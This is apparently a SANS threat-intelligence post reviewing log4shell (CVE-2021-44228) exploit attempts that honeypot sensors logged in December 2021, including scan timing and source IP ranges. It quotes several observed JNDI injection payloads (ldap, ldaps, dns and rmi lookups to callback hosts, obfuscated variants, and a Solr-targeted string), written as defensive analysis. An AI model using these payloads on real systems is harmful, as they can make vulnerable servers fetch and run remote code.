December 10th, 2021, the Apache Foundation published a security advisory for log4j2 releasing a patch for CVE-2021-44228. This vulnerability became later known as "log4shell". Shortly after the release of the initial vulnerability, two more were made public for variants of the initial problem. 

Our sensors detected exploit attempts almost immediately. Initially, researchers, in particular, Leakix, explored the vulnerability by sending a simple URL string and User-Agent. Attackers often adapted simple tools like curl or existing web application scanners to send the exploit.

Typical initial exploits:

/?test=${jndi:ldap://c6ps4jlm1q8csjc33cmgcg3hr3oyyyyuq.interact.sh/a}
/$%7Bjndi:ldaps://41062987.probe001.log4j.leakix.net:8443/b%7D?${jndi:ldaps://41062987.probe001.log4j.leakix.net:8443/b}=${jndi:ldaps://41062987.probe001.log4j.leakix.net:8443/b}

The exploit almost always reached out to an LDAP(s) server. But even early, some simple obfuscation showed up, like:

${jnd${lower:i}:ldap

Attempts using DNS or RMI started to appear on December 13th and 14th.

/${jndi:dns:/45.83.64.1/securityscan-http80
/${${::-j}ndi:rmi://01fpwheqb4gr60er3zktajn2yv.bwbcrd0n0zg7tv9fv53ypcwyup0fo4.burpcollaborator.net/aa}

On December 16th, we did see some scans going after specific applications, in this case, Apache SOLR:

//solr/admin/collections?action=${jndi:http://154.59.121.141:41545/QUALYSTEST}

The URL suggests that this was a scan initiated by Qualys, but the IP is not associated with Qualys.

Over time, attackers and researchers lost interest in log4j. We did see the peak of activity in the latter part of December, with December 28th sticking out. 

The activity on December 28th can be attributed to one coordinated scan using IPs in 165.232.72/24 and 165.232.76/24. Interestingly, these IPs, part of Digitalocean's network, are otherwise "quiet" and were only seen scanning for log4j on that particular day.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter| LinkedIn